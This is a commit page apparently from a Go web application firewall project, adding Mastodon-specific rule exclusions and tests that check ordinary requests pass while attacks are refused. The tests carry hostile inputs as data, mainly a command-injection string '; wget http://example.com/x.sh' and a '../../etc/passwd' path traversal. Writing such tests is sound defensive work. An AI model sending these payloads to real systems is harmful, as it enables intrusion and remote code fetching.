Core Rule Set: Mastodon's ordinary requests pass by default (closes #238)
check / check (push) Failing after 6m9s
check / check (push) Failing after 6m9s
Adds mastodon.conf, the twelfth change. On Mastodon's paths, the fields that carry a search, a name, a title, an address, a password or free text skip the four rules that read them as commands or system files. They cover the API and the web app's JSON, the admin and settings pages, sign-up and sign-in, and the objects other servers deliver to an inbox. A post's text skips 932125, 932230 and 932235 too. Hashtags and sign-up usernames skip only 932120 and 932260. Uploaded file names skip 932180, a report's forward keys skip 930120 by name, and the Accept header of a link lookup skips 920600 on profile and post links. The requests recorded from Mastodon 4.7.5 pass at the defaults and while bodies are read. Model: opus-5-5
This commit is contained in:
1 parent
3d9e3976b0
commit
6255c2eb69
7 files changed
+1499
-27
No files matched your search
@@ -0,0 +1,552 @@
|
||||
package coreruleset_test
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"slices"
|
||||
"testing"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||
)
|
||||
|
||||
// mastodonThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
||||
const mastodonThreshold = 5
|
||||
|
||||
// mastodonStatuses is where Mastodon's apps and web app post.
|
||||
const mastodonStatuses = "/api/v1/statuses"
|
||||
|
||||
// mastodonInbox is a Mastodon account's inbox, which other servers deliver
|
||||
// to.
|
||||
const mastodonInbox = "/users/admin/inbox"
|
||||
|
||||
// Mastodon's paths for editing a profile, for filters, for the server's
|
||||
// rules and its name, for signing in, and for signing up or changing the
|
||||
// password.
|
||||
const (
|
||||
mastodonProfile = "/api/v1/accounts/update_credentials"
|
||||
mastodonFilters = "/api/v2/filters"
|
||||
mastodonRules = "/admin/rules"
|
||||
mastodonBranding = "/admin/settings/branding"
|
||||
mastodonSignIn = "/auth/sign_in"
|
||||
mastodonAccount = "/auth"
|
||||
)
|
||||
|
||||
// Mastodon's paths for the web app's profile editor, for signing up through
|
||||
// the API, for reports, and for warning presets, roles and the terms of
|
||||
// service.
|
||||
const (
|
||||
mastodonEditor = "/api/v1/profile"
|
||||
mastodonSignUp = "/api/v1/accounts"
|
||||
mastodonReports = "/api/v1/reports"
|
||||
mastodonPresets = "/admin/warning_presets"
|
||||
mastodonRoles = "/admin/roles"
|
||||
mastodonTerms = "/admin/terms_of_service/draft"
|
||||
)
|
||||
|
||||
// Fields, as the start of a form body: a title, a comment, a password and a
|
||||
// post's text.
|
||||
const (
|
||||
mastodonTitle = "title="
|
||||
mastodonComment = "comment="
|
||||
mastodonPassword = "user[password]="
|
||||
mastodonStatus = "status="
|
||||
)
|
||||
|
||||
func TestOrdinaryMastodonRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
wantRecordedRequestsPass(t, "mastodon-requests.txt")
|
||||
}
|
||||
|
||||
// mastodonQueryFields sends each field that skips 930120, 932120, 932250
|
||||
// and 932260 in the query, on a path where it skips them, ending in "=".
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var mastodonQueryFields = []string{
|
||||
"/api/v1/accounts/search?q=",
|
||||
"/api/v1/accounts/lookup?acct=",
|
||||
"/api/v1/admin/accounts?username=",
|
||||
"/api/v1/admin/accounts?display_name=",
|
||||
"/api/v1/admin/accounts?email=",
|
||||
"/api/v2/admin/accounts?origin=local&username=",
|
||||
"/api/v2/admin/accounts?by_domain=",
|
||||
"/admin/accounts?username=",
|
||||
"/admin/accounts?display_name=",
|
||||
"/admin/accounts?email=",
|
||||
"/admin/instances?by_domain=",
|
||||
"/admin/custom_emojis?shortcode=",
|
||||
"/admin/tags?name=",
|
||||
"/search?q=",
|
||||
"/api/v2/search?q=",
|
||||
"/api/v2/search?type=accounts&resolve=true&q=",
|
||||
}
|
||||
|
||||
// mastodonBodyField is a field of a body, sent to a path with a method.
|
||||
type mastodonBodyField struct{ method, target, field string }
|
||||
|
||||
// mastodonFormFields sends each field that skips the four rules in a form
|
||||
// data body, on a path where it skips them.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var mastodonFormFields = []mastodonBodyField{
|
||||
{http.MethodPost, mastodonStatuses, "spoiler_text="},
|
||||
{http.MethodPost, mastodonStatuses, "poll[options][]="},
|
||||
{http.MethodPut, "/api/v1/media/1", "description="},
|
||||
{http.MethodPatch, mastodonProfile, "display_name="},
|
||||
{http.MethodPatch, mastodonProfile, "note="},
|
||||
{http.MethodPatch, mastodonProfile, "fields_attributes[0][name]="},
|
||||
{http.MethodPatch, mastodonProfile, "fields_attributes[1][value]="},
|
||||
{http.MethodPost, "/api/v1/lists", mastodonTitle},
|
||||
{http.MethodPut, "/api/v1/lists/1", mastodonTitle},
|
||||
{http.MethodPost, mastodonFilters, mastodonTitle},
|
||||
{http.MethodPost, mastodonFilters, "keywords_attributes[][keyword]="},
|
||||
{http.MethodPost, mastodonFilters, "keywords_attributes[0][keyword]="},
|
||||
{http.MethodPost, mastodonFilters + "/1/keywords", "keyword="},
|
||||
{http.MethodPost, "/api/v1/featured_tags", "name="},
|
||||
{http.MethodPost, mastodonReports, mastodonComment},
|
||||
{http.MethodPost, "/api/v1/accounts/1/note", mastodonComment},
|
||||
{http.MethodPost, "/api/v1/admin/accounts/1/action", "text="},
|
||||
{http.MethodPost, "/api/v1/admin/domain_blocks", "private_comment="},
|
||||
{http.MethodPost, "/api/v1/admin/domain_blocks", "public_comment="},
|
||||
{http.MethodPost, "/api/v1/admin/ip_blocks", mastodonComment},
|
||||
{http.MethodPost, "/admin/domain_blocks", "domain_block[private_comment]="},
|
||||
{http.MethodPost, "/admin/domain_blocks", "domain_block[public_comment]="},
|
||||
{http.MethodPost, "/admin/ip_blocks", "ip_block[comment]="},
|
||||
{http.MethodPost, mastodonRules, "rule[text]="},
|
||||
{http.MethodPost, mastodonRules, "rule[hint]="},
|
||||
{http.MethodPost, "/admin/announcements", "announcement[text]="},
|
||||
{http.MethodPost, mastodonBranding, "form_admin_settings[site_title]="},
|
||||
{http.MethodPost, mastodonBranding, "form_admin_settings[site_short_description]="},
|
||||
{
|
||||
http.MethodPost, "/admin/settings/about",
|
||||
"form_admin_settings[site_extended_description]=",
|
||||
},
|
||||
{http.MethodPost, "/filters", "custom_filter[title]="},
|
||||
{http.MethodPost, "/filters", "custom_filter[keywords_attributes][0][keyword]="},
|
||||
{http.MethodPost, "/settings/applications", "doorkeeper_application[name]="},
|
||||
{http.MethodPost, "/settings/applications", "doorkeeper_application[website]="},
|
||||
{http.MethodPost, "/settings/aliases", "account_alias[acct]="},
|
||||
{http.MethodPost, "/settings/migration", "account_migration[acct]="},
|
||||
{http.MethodPost, mastodonSignIn, mastodonPassword},
|
||||
{http.MethodPost, mastodonAccount, mastodonPassword},
|
||||
{http.MethodPost, mastodonAccount, "user[password_confirmation]="},
|
||||
{http.MethodPost, mastodonAccount, "user[current_password]="},
|
||||
{http.MethodPost, mastodonAccount, "user[invite_request_attributes][text]="},
|
||||
{http.MethodPost, "/admin/accounts/1/action", "admin_account_action[text]="},
|
||||
{http.MethodPost, "/admin/report_notes", "report_note[content]="},
|
||||
{
|
||||
http.MethodPost, "/admin/account_moderation_notes",
|
||||
"account_moderation_note[content]=",
|
||||
},
|
||||
{http.MethodPost, mastodonPresets, "account_warning_preset[title]="},
|
||||
{http.MethodPost, mastodonPresets, "account_warning_preset[text]="},
|
||||
{http.MethodPost, mastodonRoles, "user_role[name]="},
|
||||
{http.MethodPost, mastodonTerms, "terms_of_service[text]="},
|
||||
{http.MethodPost, mastodonTerms, "terms_of_service[changelog]="},
|
||||
{http.MethodPost, "/settings/migration", "account_migration[current_password]="},
|
||||
{
|
||||
http.MethodPost, "/settings/migration/redirect",
|
||||
"form_redirect[current_password]=",
|
||||
},
|
||||
{http.MethodPost, "/settings/delete", "form_delete_confirmation[password]="},
|
||||
{http.MethodPost, mastodonSignUp, "password="},
|
||||
{http.MethodPost, mastodonSignUp, "reason="},
|
||||
}
|
||||
|
||||
// mastodonJSONFields sends each field that skips the four rules in a JSON
|
||||
// body, on a path where it skips them, with %s for its value.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var mastodonJSONFields = []mastodonBodyField{
|
||||
{http.MethodPost, mastodonStatuses, `{"spoiler_text":%s}`},
|
||||
{http.MethodPost, mastodonStatuses, `{"poll":{"options":["Yes",%s]}}`},
|
||||
{http.MethodPut, mastodonFilters + "/1", `{"title":%s}`},
|
||||
{http.MethodPut, "/api/v1/media/1", `{"description":%s}`},
|
||||
{
|
||||
http.MethodPut, mastodonStatuses + "/1",
|
||||
`{"media_attributes":[{"id":"1","description":%s}]}`,
|
||||
},
|
||||
{http.MethodPatch, mastodonEditor, `{"display_name":%s}`},
|
||||
{http.MethodPatch, mastodonEditor, `{"note":%s}`},
|
||||
{http.MethodPatch, mastodonEditor, `{"fields_attributes":[{"name":%s}]}`},
|
||||
{http.MethodPatch, mastodonEditor, `{"fields_attributes":[{"value":%s}]}`},
|
||||
{http.MethodPatch, mastodonProfile, `{"display_name":%s}`},
|
||||
{http.MethodPatch, mastodonProfile, `{"note":%s}`},
|
||||
{http.MethodPatch, mastodonProfile, `{"fields_attributes":[{"name":%s}]}`},
|
||||
{http.MethodPatch, mastodonProfile, `{"fields_attributes":[{"value":%s}]}`},
|
||||
{http.MethodPost, mastodonReports, `{"comment":%s}`},
|
||||
{http.MethodPost, "/api/v1/accounts/1/note", `{"comment":%s}`},
|
||||
{http.MethodPost, mastodonSignUp, `{"password":%s}`},
|
||||
{http.MethodPost, mastodonSignUp, `{"reason":%s}`},
|
||||
{http.MethodPost, "/inbox", `{"object":{"content":%s}}`},
|
||||
{http.MethodPost, mastodonInbox, `{"object":{"contentMap":{"en":%s}}}`},
|
||||
{http.MethodPost, mastodonInbox, `{"object":{"summary":%s}}`},
|
||||
{http.MethodPost, mastodonInbox, `{"object":{"summaryMap":{"en":%s}}}`},
|
||||
{http.MethodPost, "/ap/users/1/inbox", `{"object":{"name":%s}}`},
|
||||
{http.MethodPost, mastodonInbox, `{"object":{"attachment":[{"name":%s}]}}`},
|
||||
{http.MethodPost, mastodonInbox, `{"object":{"attachment":[{"value":%s}]}}`},
|
||||
{http.MethodPost, mastodonInbox, `{"object":{"oneOf":[{"name":%s}]}}`},
|
||||
{http.MethodPost, mastodonInbox, `{"object":{"anyOf":[{"name":%s}]}}`},
|
||||
}
|
||||
|
||||
// mastodonStatusForms and mastodonStatusJSON send a post's text, which
|
||||
// skips 932125, 932230 and 932235 too: in form data, and in JSON with %s
|
||||
// for its value.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var (
|
||||
mastodonStatusForms = []mastodonBodyField{
|
||||
{http.MethodPost, mastodonStatuses, mastodonStatus},
|
||||
{http.MethodPut, mastodonStatuses + "/1", mastodonStatus},
|
||||
}
|
||||
mastodonStatusJSON = []mastodonBodyField{
|
||||
{http.MethodPost, mastodonStatuses, `{"status":%s}`},
|
||||
{http.MethodPut, mastodonStatuses + "/1", `{"status":%s}`},
|
||||
}
|
||||
)
|
||||
|
||||
// mastodonForm returns what crs finds in value, sent in sent's form data
|
||||
// field.
|
||||
func mastodonForm(t *testing.T, sent mastodonBodyField, value string) int {
|
||||
t.Helper()
|
||||
|
||||
r := request{sent.method, sent.target, []string{formData}}
|
||||
got, _ := inspectBody(t, readingBodies(t), r, sent.field+value)
|
||||
|
||||
return got.Score
|
||||
}
|
||||
|
||||
// mastodonJSON returns what crs finds in value, which is not escaped, sent
|
||||
// in sent's JSON field.
|
||||
func mastodonJSON(t *testing.T, sent mastodonBodyField, value string) int {
|
||||
t.Helper()
|
||||
|
||||
quoted, err := json.Marshal(value)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
r := request{sent.method, sent.target, []string{jsonBody}}
|
||||
got, _ := inspectBody(t, readingBodies(t), r, fmt.Sprintf(sent.field, quoted))
|
||||
|
||||
return got.Score
|
||||
}
|
||||
|
||||
// mastodonAttacks are an SQL injection, a path traversal and a script
|
||||
// injection, as a query value.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var mastodonAttacks = []string{
|
||||
sqlInjection,
|
||||
"..%2F..%2F..%2Fetc%2Fpasswd",
|
||||
scriptInjection,
|
||||
}
|
||||
|
||||
// mastodonScores returns what crs finds in value, escaped as a query value,
|
||||
// sent in each field that skips the four rules: in the query, in form data
|
||||
// and in JSON. Bodies are read whatever crs is. Each score is keyed by where
|
||||
// value was sent.
|
||||
func mastodonScores(
|
||||
t *testing.T, crs *coreruleset.CoreRuleSet, value string,
|
||||
) map[string]int {
|
||||
t.Helper()
|
||||
|
||||
scores := map[string]int{}
|
||||
|
||||
for _, target := range mastodonQueryFields {
|
||||
scores[target+value] = inspect(t, crs, get(target+value)).Score
|
||||
}
|
||||
|
||||
for _, sent := range slices.Concat(mastodonFormFields, mastodonStatusForms) {
|
||||
scores[fmt.Sprintf("%v with %s", sent, value)] = mastodonForm(t, sent, value)
|
||||
}
|
||||
|
||||
unescaped, err := url.QueryUnescape(value)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
for _, sent := range slices.Concat(mastodonJSONFields, mastodonStatusJSON) {
|
||||
scores[fmt.Sprintf("%v with %q", sent, unescaped)] = mastodonJSON(t, sent, unescaped)
|
||||
}
|
||||
|
||||
return scores
|
||||
}
|
||||
|
||||
func TestMastodonAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, attack := range mastodonAttacks {
|
||||
for sent, score := range mastodonScores(t, atDefaults(t), attack) {
|
||||
if score < mastodonThreshold {
|
||||
t.Errorf("%s let through: %d", sent, score)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// mastodonCommandAttack is a shell command that only 932230 and 932235
|
||||
// refuse on the fields that skip the four rules.
|
||||
const mastodonCommandAttack = "; wget http://example.com/x.sh"
|
||||
|
||||
func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := atDefaults(t)
|
||||
attack := url.QueryEscape(mastodonCommandAttack)
|
||||
|
||||
for _, target := range mastodonQueryFields {
|
||||
if got := inspect(t, crs, get(target+attack)); got.Score < mastodonThreshold {
|
||||
t.Errorf("%s%s let through: %+v", target, attack, got)
|
||||
}
|
||||
}
|
||||
|
||||
for _, sent := range mastodonFormFields {
|
||||
if mastodonForm(t, sent, attack) < mastodonThreshold {
|
||||
t.Errorf("%v let through", sent)
|
||||
}
|
||||
}
|
||||
|
||||
for _, sent := range mastodonJSONFields {
|
||||
if mastodonJSON(t, sent, mastodonCommandAttack) < mastodonThreshold {
|
||||
t.Errorf("%v let through", sent)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// mastodonCodePost is a post that names commands in code, as recorded.
|
||||
const mastodonCodePost = "Today I learned: `ls -la ~/.config` lists hidden files, " +
|
||||
"and `python3 -m http.server` serves a folder. https://example.org/notes"
|
||||
|
||||
func TestMastodonHardValuesPassInTheExcludedFields(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, value := range hardValues {
|
||||
for sent, score := range mastodonScores(t, readingBodies(t), value) {
|
||||
if score >= mastodonThreshold {
|
||||
t.Errorf("%s refused: %d", sent, score)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
code := url.QueryEscape(mastodonCodePost)
|
||||
|
||||
for _, sent := range mastodonStatusForms {
|
||||
if mastodonForm(t, sent, code) >= mastodonThreshold {
|
||||
t.Errorf("%v refused", sent)
|
||||
}
|
||||
}
|
||||
|
||||
for _, sent := range mastodonStatusJSON {
|
||||
if mastodonJSON(t, sent, mastodonCodePost) >= mastodonThreshold {
|
||||
t.Errorf("%v refused", sent)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// mastodonUpload is a file named .htaccess in a multipart body.
|
||||
const mastodonUpload = "--b\r\nContent-Disposition: form-data; name=\"file\"; " +
|
||||
"filename=\"Example .htaccess.png\"\r\n\r\nx\r\n--b--\r\n"
|
||||
|
||||
// mastodonActivityPub is the Accept header of a server looking up a link to
|
||||
// a profile or a post, as recorded.
|
||||
const mastodonActivityPub = `Accept: application/ld+json; ` +
|
||||
`profile="https://www.w3.org/ns/activitystreams", application/activity+json, ` +
|
||||
`text/html;q=0.1`
|
||||
|
||||
// mastodonReport is a report as the web app sends it, with %s for its
|
||||
// forward value.
|
||||
const mastodonReport = `{"account_id":"1","comment":"Spam","forward":%s,` +
|
||||
`"forward_to_domains":[]}`
|
||||
|
||||
// mastodonForwardedReport is a report the web app forwards to another
|
||||
// server, with %s for that server.
|
||||
const mastodonForwardedReport = `{"account_id":"1","comment":"Spam","forward":true,` +
|
||||
`"forward_to_domains":[%s]}`
|
||||
|
||||
func TestMastodonExclusionsAreNarrow(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
for _, refused := range []string{
|
||||
"/?q=powershell",
|
||||
"/api/v2/search?other=python3",
|
||||
"/api/v1/timelines/home?q=python3",
|
||||
"/api/v1/admin/users?username=python3",
|
||||
"/admin/people?username=python3",
|
||||
"/admin/reports?username=python3",
|
||||
"/search/other?q=python3",
|
||||
"/x/api/v2/search?q=python3",
|
||||
"/admin/accounts/1?username=python3",
|
||||
} {
|
||||
if got := inspect(t, crs, get(refused)); got.Score < mastodonThreshold {
|
||||
t.Errorf("%s let through: %+v", refused, got)
|
||||
}
|
||||
}
|
||||
|
||||
// The Accept header of ActivityPub is still refused off the paths of
|
||||
// Mastodon's accounts and posts.
|
||||
for _, target := range []string{"/@admin", "/@admin/1", "/users/admin/statuses/1"} {
|
||||
wantResult(t, crs, get(target, mastodonActivityPub), matched())
|
||||
}
|
||||
|
||||
for _, target := range []string{"/", "/@admin/1/other", "/x/@admin"} {
|
||||
wantResult(t, crs, get(target, mastodonActivityPub), matched(920600))
|
||||
}
|
||||
|
||||
crs = readingBodies(t)
|
||||
|
||||
upload := request{
|
||||
http.MethodPost, "/upload",
|
||||
[]string{"Content-Type: multipart/form-data; boundary=b"},
|
||||
}
|
||||
|
||||
got, _ := inspectBody(t, crs, upload, mastodonUpload)
|
||||
if got.Score < mastodonThreshold {
|
||||
t.Errorf("POST %s let through: %+v", upload.target, got)
|
||||
}
|
||||
|
||||
for _, target := range []string{
|
||||
"/api/v1/media", "/api/v2/media", mastodonProfile, mastodonEditor,
|
||||
} {
|
||||
upload.target = target
|
||||
|
||||
got, _ := inspectBody(t, crs, upload, mastodonUpload)
|
||||
if got.Score >= mastodonThreshold {
|
||||
t.Errorf("POST %s refused: %+v", target, got)
|
||||
}
|
||||
}
|
||||
|
||||
// The fields are excluded only on Mastodon's paths.
|
||||
for _, sent := range []mastodonBodyField{
|
||||
{http.MethodPost, "/api/v1/repos/issues", mastodonTitle},
|
||||
{http.MethodPost, "/user/login", mastodonPassword},
|
||||
{http.MethodPost, "/comments", mastodonStatus},
|
||||
} {
|
||||
if mastodonForm(t, sent, "python3") < mastodonThreshold {
|
||||
t.Errorf("%v let through", sent)
|
||||
}
|
||||
}
|
||||
|
||||
for _, sent := range []mastodonBodyField{
|
||||
{http.MethodPost, "/outbox", `{"object":{"content":%s}}`},
|
||||
{http.MethodPost, mastodonInbox, `{"object":{"url":%s}}`},
|
||||
} {
|
||||
if mastodonJSON(t, sent, "python3") < mastodonThreshold {
|
||||
t.Errorf("%v let through", sent)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestMastodonReportKeysPassByNameOnReportsOnly(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// A report's forward keys pass by name, and their values are still
|
||||
// checked.
|
||||
for _, sent := range []struct{ body, value string }{
|
||||
{mastodonReport, "false"},
|
||||
{mastodonForwardedReport, "remote.example"},
|
||||
} {
|
||||
report := mastodonBodyField{http.MethodPost, mastodonReports, sent.body}
|
||||
if got := mastodonJSON(t, report, sent.value); got >= mastodonThreshold {
|
||||
t.Errorf("%v refused: %d", report, got)
|
||||
}
|
||||
|
||||
if got := mastodonJSON(t, report, `"../../etc/passwd"`); got < mastodonThreshold {
|
||||
t.Errorf("%v with a path let through: %d", report, got)
|
||||
}
|
||||
|
||||
report.target = mastodonStatuses
|
||||
if got := mastodonJSON(t, report, sent.value); got < mastodonThreshold {
|
||||
t.Errorf("%v let through: %d", report, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// mastodonUsername and mastodonHashtag are the sign-up form's username and
|
||||
// the web app's featured hashtag, which skip only 932120 and 932260.
|
||||
//
|
||||
//nolint:gochecknoglobals // a struct cannot be a constant
|
||||
var (
|
||||
mastodonUsername = mastodonBodyField{
|
||||
http.MethodPost, mastodonAccount, "user[account_attributes][username]=",
|
||||
}
|
||||
mastodonHashtag = mastodonBodyField{
|
||||
http.MethodPost, "/api/v1/featured_tags", `{"name":%s}`,
|
||||
}
|
||||
)
|
||||
|
||||
func TestMastodonUsernamesAndHashtagsSkipOnlyTwoRules(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// python3 and powershell can be a username or a hashtag; ls -la and
|
||||
// .htaccess cannot.
|
||||
passes, refused := hardValues[:2], hardValues[2:]
|
||||
|
||||
for _, value := range passes {
|
||||
if mastodonForm(t, mastodonUsername, value) >= mastodonThreshold {
|
||||
t.Errorf("username %s refused", value)
|
||||
}
|
||||
|
||||
if mastodonJSON(t, mastodonHashtag, value) >= mastodonThreshold {
|
||||
t.Errorf("hashtag %s refused", value)
|
||||
}
|
||||
}
|
||||
|
||||
for _, value := range slices.Concat(
|
||||
refused, mastodonAttacks, []string{url.QueryEscape(mastodonCommandAttack)},
|
||||
) {
|
||||
if mastodonForm(t, mastodonUsername, value) < mastodonThreshold {
|
||||
t.Errorf("username %s let through", value)
|
||||
}
|
||||
|
||||
unescaped, err := url.QueryUnescape(value)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
if mastodonJSON(t, mastodonHashtag, unescaped) < mastodonThreshold {
|
||||
t.Errorf("hashtag %q let through", unescaped)
|
||||
}
|
||||
}
|
||||
|
||||
// Elsewhere both keep the two rules.
|
||||
signIn := mastodonBodyField{http.MethodPost, mastodonSignIn, mastodonUsername.field}
|
||||
if mastodonForm(t, signIn, "python3") < mastodonThreshold {
|
||||
t.Errorf("%v let through", signIn)
|
||||
}
|
||||
|
||||
statuses := mastodonBodyField{http.MethodPost, mastodonStatuses, mastodonHashtag.field}
|
||||
if mastodonJSON(t, statuses, "python3") < mastodonThreshold {
|
||||
t.Errorf("%v let through", statuses)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMastodonBodyFieldsStayCheckedInTheQuery(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := readingBodies(t)
|
||||
|
||||
// The same field name in the query keeps the rules, in the query and
|
||||
// in the body.
|
||||
for _, sent := range []struct{ target, field string }{
|
||||
{mastodonStatuses, mastodonStatus + "python3"},
|
||||
{mastodonStatuses, "spoiler_text=python3"},
|
||||
{mastodonRules, "rule[text]=python3"},
|
||||
{mastodonRoles, "user_role[name]=python3"},
|
||||
{mastodonSignIn, mastodonPassword + "python3"},
|
||||
{mastodonSignUp, "password=python3"},
|
||||
{mastodonInbox, "json.object.content=python3"},
|
||||
} {
|
||||
target := sent.target + "?" + sent.field
|
||||
r := request{http.MethodPost, target, []string{formData}}
|
||||
|
||||
got, _ := inspectBody(t, crs, r, sent.field)
|
||||
if got.Score < mastodonThreshold {
|
||||
t.Errorf("POST %s let through: %+v", r.target, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in new issue
Block a user